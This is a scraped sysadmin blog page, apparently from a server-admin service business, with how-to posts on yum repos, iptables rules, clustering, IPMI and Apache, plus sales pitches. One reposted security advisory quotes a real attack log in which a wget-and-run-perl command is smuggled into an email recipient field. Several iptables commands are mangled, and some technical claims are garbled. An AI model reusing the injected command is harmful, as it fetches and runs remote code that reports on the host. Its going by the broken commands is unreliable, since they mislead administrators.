How to upgrade PHP from 5.1 to 5.2 in CentOS by YUM

Posted by: admin  :  Category: PHP

There is nice yum repo:

Given that a great deal of the content on this site has become how-to’s on updating Red Hat Enterprise & servers, I’ve decided to make things a bit easier on everyone and supply a repository that can be used to the newer versions of software that I build with a single command.

As of 8/28/2007 binaries are provided for both 32-bit and 64-bit RHEL & CentOS systems running release 4 or 5.

First things first, all of my binaries are GPG signed. That means that you can be sure that these packages are coming from me, even if you should happen to find them on some other site (if you find a file with “jason” in the name and it isn’t signed, DON’T install it).

In order to validate that the packages came from me, you’ll want to install my public GPG key on your . You can take care of that with a single command:

rpm --import http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka

The preferred method of adding my repository to your RHEL or CentOS system is with the Yum package manager. CentOS 4, CentOS 5, and RHEL 5 install yum automatically. If you are using RHEL 4 then you can install yum or add the following to your ‘/etc/sysconfig/rhn/sources’ file and install the sqlite package (i386x86_64) to use my repository with ‘up2date’.

# Enable Jason's Utter Ramblings 
 yum utterramblings http://www.jasonlitka.com/media/EL4/$ARCH

For those of you using yum, type:

nano -w /etc/yum.repos.d/utterramblings.repo

… and then paste the following into the editor:

[utterramblings]
 name=Jason's Utter Ramblings Repo
 baseurl=http://www.jasonlitka.com/media/EL$releasever/$basearch/
 enabled=1
 gpgcheck=1
 gpgkey=http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka

NOTE: If the above URL returns a 404 then try hard-coding $releasever to your EL version (‘EL4′ or ‘EL5′) and the $basearch to whatever is appropriate (‘i386′ or ‘x86_64′).

Once you’ve taken care of the above, you’ll be able to easily upgrade to the same packages I build for my own sites with a simple ‘up2date -u’ or ‘yum update’.

There is one caveat to the above statement… If your 64-bit system includes both 32-bit and 64-bit packages by the same name (such as “mysql.i386″ and “mysql.x86_64″ ) then you will experience a unless you remove the 32-bit packages from your system.

VN:F [1.9.11_1134]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 7% [?]

How to protect own hosting from outdoring spam

Posted by: admin  :  Category: Firewall, Security

What if you have your own and IP permanently blacklisted?
Procedure simply complaints from your customers?
How to solve this ? Here to help !

Enough to limit the attempts to send too often and write to these attempts to log:

iptables -A FORWARD -p tcp -m tcp --dport 25 -m state --state NEW -m recent --update --s econds 60 --hitcount 6 --name SMTP_LOCAL --rsource -j  ---prefix "Spam:" ---nlgroup 2 ---cprange 100

Next example: protect ssh and ftp from bruteforce attaks, smtp from spam and web from & ddos

Read more…

VN:F [1.9.11_1134]
Rating: 10.0/10 (1 vote cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 11% [?]

How to block UDP packets on all ports except one

Posted by: admin  :  Category: Firewall, Security

This example block all incoming packets except port number 27005.:

 -A INPUT -p udp --dport 27005 -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT #You may ignore this rule
iptables -A INPUT -p udo -s 0/0 -j DROP
VN:F [1.9.11_1134]
Rating: 10.0/10 (1 vote cast)
VN:F [1.9.11_1134]
Rating: +1 (from 1 vote)

Popularity: 20% [?]

Best Way for Server Migration to Cloud-based Hosting

Posted by: admin  :  Category: Cloud

If you want fast and easy transfer as to cloud the best is create files as ISO image and backup all user data by tar.

But you never can’t create system ISO in multiuser runlevel, becouse some files open by system and some files may changed in create ISO process.

Another way – order KVM, reboot server in single mode and create system ISO. But… how about is KVM unavalible?

We suggest use with busybox and ssh support. Just reboot server and login to ssh. You may mount partitions, run commands and do anything – by ssh in single use mode.

If you want got this initrd – order us for this task, it cost from 60$ and up.

Order this service NOW!. We accept PayPal.

*(denotes required field)

Powered by Fast Secure Contact Form

VN:F [1.9.11_1134]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: unranked [?]

One secret that nobody will not tell you for a cluster of two nodes

Posted by: admin  :  Category: Clustering

Cluster is good thing. It simple and robust: If first node down, secondary replace it.

But… Did you know about GFS work? It write all data beetween servers via network connection. Usually servers connect via 1Gbps – it is 128Mb per second. Sounds good? Please hold on! This is a RAW bandwith. TCP/IP connection take 5%. GFS take 10%.

Well, 100mb per second sound good, but one second! GFS is a beedirectional protocol such like . So, it split channel twiced – 50mb per second.

And now check – did you MySQL will work nice for that ? Of course Not!

But we have uniqe techniqe for this : Use as dedicated network block . It avoid spliting channel and you got full 100mb per second.

Sounds good, yea?

Order this service NOW!. We accept PayPal.

*(denotes required field)

Powered by Fast Secure Contact Form

VN:F [1.9.11_1134]
Rating: 1.0/10 (1 vote cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 3% [?]

Tips for use Linux as mail server for Mail Marketing Script

Posted by: admin  :  Category: Rack Admins

Install Marketing Script not difficult task, but you will know some rules:

  • Setup Linux for only task. Disable a lot of unused services like as cups or samba.
  • Double check for closed relay for unauthentication emails. – direct way to Black List.
  • Keep server load – it will not more than CPU’s count. For Dual Core – not more than 2 LA for example.

Did you know?

Server can sent 12Mbps mail for each CPU core. Each 12Mbps request another CPU core. Yes, hyperthreading support for this count. For full you ned 4 CPU core with hyperthreading.

You may use RRDNS for speedup mail sending.  It used for multiple servers and balanced (cluster) MTA.

For Guranteed Delivery to (Yahoo,Hotmail,Google,etc) you need use:

  1. Valid PTR Record
  2. Domain Keys
  3. DNS Record

You may order server setup for 120$.

Order this service NOW!. We accept PayPal.

*(denotes required field)

Powered by Fast Secure Contact Form

VN:F [1.9.11_1134]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 2% [?]

How to Install supermicro IPMI in a linux server

Posted by: admin  :  Category: Hardware
Once has been installed and it boots up, the IP and MAC address of the IPMI have to be configured. Use the “ipnmac” to set the MAC and IP address for the . This command has to be run via sudo and prompts for the new ip and mac address.

For the GPC agent to run, the openIPMI drivers need to be installed on the managed system. The default FC3 build has openIPMI  loadable modules. The modules are ipmi_devinf and ipmi_si (located in /lib/modules/2.6.9-1.667smp/kernel/drivers/char/ipmi).

The ipmi_si need special parameters for loading. This was tested on a 2.6.10 kernel.

It does not work with the 2.6.9-1.667(smp) kernel in the FC3 package.

 ipmi_si type=kcs ports=0xca8 si_regspacings=4.

Once these modules are up and running, start the smagent.

 $ smagent &
If you tried running this daemon, the system entered the graceful restart state whenever smagent started. Make sure it works before adding to rc.local/login script(this leads to a restart loop).

Use the IPMIview Java utility from the remote system to access the IPMI card. Since IPMI is designed to be OS transparent, this utility does not need any modules to be installed in the kernel. If this configuration does not work, run IPMIview in the same LAN and configure the gateway MAC and IP .

The IPMIview allows power shutdown, reset, and device . The IPMI console did not work though everything seemed to be configured properly. The on the P8SCi is supposed to detect the IPMI card automatically and set the console redirection options for it. Unfortunately, we were still seeing garbage in the remote console.

The current of 1.1 shows the redirection going to “NULL” instead of something understandable like IPMI, COM1, etc.

The solution was to get the latest P8SCI BIOS (rev1.1) and re-flash it on the managed system. We had to do this even though the current BIOS on the board indictated it was already version 1.1.

VN:F [1.9.11_1134]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 100% [?]

Cure for the Read Only Partiton

Posted by: admin  :  Category: File Systems

Sometime you may got strange . Server partition, usually /var or /tmp went to read only.

Some peoples suggest you unmount that partition and use main (root) for place this directory. This is very big mistake!

Partition become to read only if you got some fiilesystem errors. It may be software or hardware problem.

and since the partition is mounted on the main disk it needs to be replaced, so i need someone to perform the following work:

The is not to easy:

  1. Detect what same cause this error – software or hardware
  2. cure tune2fs and kernel upgrade
  3. cure drive replacement

But really disaster problem – error on drive contorl or main board. So, drive not help you. We suggest migrate server to new one. We can do it for you. guranteed:

Backup of the all accounts.
Once the datacenter sent access to new server we configure WHM/Cpanel or other Panel.
Restore of the all accounts to new server.
Check Apache & MySQL conditions.
Redirect all traffick from old to new one.
Cange DNS settings.

We use our know-how for traffick redirection. It absolutly transparent!

Order this service NOW!. We accept PayPal.

*(denotes required field)

Powered by Fast Secure Contact Form

VN:F [1.9.11_1134]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: unranked [?]

Spamassassin Milter Plugin Remote Root Attack

Posted by: admin  :  Category: Security

Observant reader Roy caught an interesting attempt against his SMTP . His review of the logs turned up this:

Messages rejected to recipient: root+:|wget
hxxp://www.-echo.de/.x/p.txt;perl p.txt:   smtp.target.com[10.11.17.18] : User unknown in local recipient
table; from=<blue@attacker.com> to=<root+:|wget
hxxp://www.linux-echo.de/.x/p.txt : 1 Time(s)

Handler Bojan notes that it appears that the bad guys have started to actively exploit ’s that has been published last weekend (more details at http://archives.neohapsis.com/archives/fulldisclosure/2010-03/0139.html).

The perl script collects some information about the local host and tries to send it to 203.59.123.114 on port 80 — this host appears to be unreachable at the moment though.

Mitigation: There is a preliminary patch available at the SpamAssassin Milter Plugin project site, bug #29136: SpamAssassin Milter Plugin Input Validation Flaw Lets Users Execute Arbitrary Code: http://savannah.nongnu.org/bugs/index.?29136

Alternatively, don’t use the -x option when running this plugin, as well do not run it as root.

http://isc.sans.org/diary.html?storyid=8434

VN:F [1.9.11_1134]
Rating: 1.0/10 (1 vote cast)
VN:F [1.9.11_1134]
Rating: 0 (from 0 votes)

Popularity: 8% [?]

Apache – how to MPM-ITK by easyapache (part of WHM/cPanel)

Posted by: admin  :  Category: Apache

As is known, the standard method of working with apache – mod_, also known as DSO, has a maximum output, but all scripts run under the user apache.

To solve this in a mode php , which are not always compatible with custom , because he works in cgi mode, and environment variables in apache not be available. This apply for engines to banner systems, etc.

The problem is fully resolved mode of operation called apache mpm-, where each process is inherited with user privileges. It also gives full play to monitor the resources used, of consumption and limits.

Try running easyapache and look for mpm-itk. Not found? True, it’s not there. Developer WHM / cPanel ignores this option. But if you want – we can set you on the with WHM / cPanel apache mode mpm-itk. Yes, we can do is our know-how. Nobody will configure mpm-itk with easyapache, since it is impossible. Only Rack Admins can do it!

VN:F [1.9.11_1134]
Rating: 2.3/10 (7 votes cast)
VN:F [1.9.11_1134]
Rating: -6 (from 10 votes)

Popularity: 55% [?]


reverse phone lookup
svchost cpu
192.168.1.1